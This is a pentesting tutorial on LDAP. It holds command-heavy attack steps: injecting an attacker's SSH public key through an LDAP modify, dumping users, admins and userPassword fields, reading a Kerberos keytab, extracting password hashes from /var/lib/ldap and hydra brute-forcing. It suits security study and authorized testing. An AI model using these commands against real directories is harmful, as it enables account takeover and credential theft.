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450 lines
17 KiB
Markdown
# 389, 636, 3268, 3269 - Pentesting LDAP
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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## Basic Information
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Extracted from: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
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LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to **locate** organizations, individuals, and other **resources** such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
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An LDAP directory can be **distributed** among many servers. Each server can have a **replicated** version of the total directory that is **synchronized** periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user.
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An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels:
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* The root directory (the starting place or the source of the tree), which branches out to
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* Countries, each of which branches out to
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* Organizations, which branch out to
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* Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for)
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* Individuals (which includes people, files, and shared resources such as printers)
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**Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
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```
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PORT STATE SERVICE REASON
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389/tcp open ldap syn-ack
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636/tcp open tcpwrapped
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```
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### LDAP Data Interchange Format
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LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).
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```bash
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dn: dc=local
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dc: local
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objectClass: dcObject
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dn: dc=moneycorp,dc=local
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dc: moneycorp
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objectClass: dcObject
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objectClass: organization
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dn ou=it,dc=moneycorp,dc=local
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objectClass: organizationalUnit
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ou: dev
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dn: ou=marketing,dc=moneycorp,dc=local
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objectClass: organizationalUnit
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Ou: sales
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dn: cn= ,ou= ,dc=moneycorp,dc=local
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objectClass: personalData
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cn:
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sn:
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gn:
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uid:
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ou:
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mail: pepe@hacktricks.xyz
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phone: 23627387495
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```
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* Lines 1-3 define the top level domain local
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* Lines 5-8 define the first level domain moneycorp (moneycorp.local)
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* Lines 10-16 define 2 organizational units: dev and sales
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* Lines 18-26 create an object of the domain and assign attributes with values
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## Write data
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Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**.
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```bash
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>>> import ldap3
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>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
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>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
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>>> connection.bind()
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True
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>>> connection.extend.standard.who_am_i()
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u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
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>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
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```
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Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/)
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## Sniff clear text credentials
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If LDAP is used without SSL you can **sniff credentials in plain text** in the network.
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Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login.
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**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again.
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## Anonymous Access
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### Bypass TLS SNI check
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According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
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```bash
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ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
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```
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### LDAP anonymous binds
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[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.\
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However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
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## Valid Credentials
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If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
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[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
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```bash
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pip3 install ldapdomaindump
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ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
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```
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### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
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## Enumeration
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### Automated
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Using this you will be able to see the **public information** (like the domain name)**:**
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```bash
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nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
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```
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### Python
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<details>
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<summary>See LDAP enumeration with python</summary>
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You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
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First try to **connect without** credentials:
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```bash
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>>> import ldap3
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>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
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>>> connection = ldap3.Connection(server)
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>>> connection.bind()
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True
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>>> server.info
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```
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If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP (like the **naming context** or **domain name**) server from:
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```bash
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>>> server.info
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DSA info (from DSE):
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Supported LDAP versions: 3
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Naming contexts:
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dc=DOMAIN,dc=DOMAIN
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```
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Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:
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```bash
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>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
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True
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>> connection.entries
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```
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Or **dump** the whole ldap:
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```bash
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>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
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True
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>>> connection.entries
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```
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</details>
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### windapsearch
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[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* is a Python script useful to **enumerate users, groups, and computers from a Windows** domain by utilizing LDAP queries.
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```bash
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# Get computers
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python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
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# Get groups
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python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
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# Get users
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python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
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# Get Domain Admins
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python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
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# Get Privileged Users
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python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
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```
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### ldapsearch
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Check null credentials or if your credentials are valid:
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```bash
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ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
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```
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```bash
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# CREDENTIALS NOT VALID RESPONSE
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search: 2
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result: 1 Operations error
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text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
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tion a successful bind must be completed on the connection., data 0, v3839
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```
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If you find something saying that the "_bind must be completed_" means that the credentials are incorrect.
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You can extract **everything from a domain** using:
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```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
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-x Simple Authentication
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-H LDAP Server
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-D My User
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-w My password
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-b Base site, all data from here will be given
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```
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Extract **users**:
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```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
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#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
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```
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Extract **computers**:
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```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
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```
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Extract **my info**:
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```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
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```
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Extract **Domain Admins**:
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```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
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```
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Extract **Domain Users**:
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```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
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```
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Extract **Enterprise Admins**:
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```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
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```
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Extract **Administrators**:
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```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
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```
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Extract **Remote Desktop Group**:
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```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
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```
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To see if you have access to any password you can use grep after executing one of the queries:
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```bash
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<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
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```
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Please, notice that the passwords that you can find here could not be the real ones...
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#### pbis
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You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.\
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**Pbis** allow you to get basic information easily:
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```bash
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#Read keytab file
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./klist -k /etc/krb5.keytab
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#Get known domains info
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./get-status
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./lsa get-status
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#Get basic metrics
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./get-metrics
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./lsa get-metrics
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#Get users
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./enum-users
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./lsa enum-users
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#Get groups
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./enum-groups
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./lsa enum-groups
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#Get all kind of objects
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./enum-objects
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./lsa enum-objects
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#Get groups of a user
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./list-groups-for-user <username>
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./lsa list-groups-for-user <username>
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#Get groups of each user
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./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
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#Get users of a group
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./enum-members --by-name "domain admins"
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./lsa enum-members --by-name "domain admins"
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#Get users of each group
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./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
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#Get description of each user
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./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
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echo "$line";
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./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
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echo "======================"
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done
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```
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## Graphical Interface
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### Apache Directory
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[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
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### jxplorer
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You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
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By default is is installed in: _/opt/jxplorer_
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 (1).png>)
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### Godap
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You can access it in [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
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## Authentication via kerberos
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Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI`
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## POST
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If you can access the files where the databases are contained (could be in _/var/lib/ldap_). You can extract the hashes using:
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```bash
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cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
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```
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You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
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### Configuration Files
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* General
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* containers.ldif
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* ldap.cfg
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* ldap.conf
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* ldap.xml
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* ldap-config.xml
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* ldap-realm.xml
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* slapd.conf
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* IBM SecureWay V3 server
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* V3.sas.oc
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* Microsoft Active Directory server
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* msadClassesAttrs.ldif
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* Netscape Directory Server 4
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* nsslapd.sas\_at.conf
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* nsslapd.sas\_oc.conf
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* OpenLDAP directory server
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* slapd.sas\_at.conf
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* slapd.sas\_oc.conf
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* Sun ONE Directory Server 5.1
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* 75sas.ldif
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## HackTricks Automatic Commands
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```
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Protocol_Name: LDAP #Protocol Abbreviation if there is one.
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Port_Number: 389,636 #Comma separated if there is more than one.
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Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Notes
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Description: Notes for LDAP
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Note: |
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LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
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https://book.hacktricks.xyz/pentesting/pentesting-ldap
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Entry_2:
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Name: Banner Grab
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Description: Grab LDAP Banner
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Command: nmap -p 389 --script ldap-search -Pn {IP}
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Entry_3:
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Name: LdapSearch
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Description: Base LdapSearch
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Command: ldapsearch -H ldap://{IP} -x
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Entry_4:
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Name: LdapSearch Naming Context Dump
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Description: Attempt to get LDAP Naming Context
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Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
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Entry_5:
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Name: LdapSearch Big Dump
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Description: Need Naming Context to do big dump
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Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
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Entry_6:
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Name: Hydra Brute Force
|
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Description: Need User
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Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
|
```
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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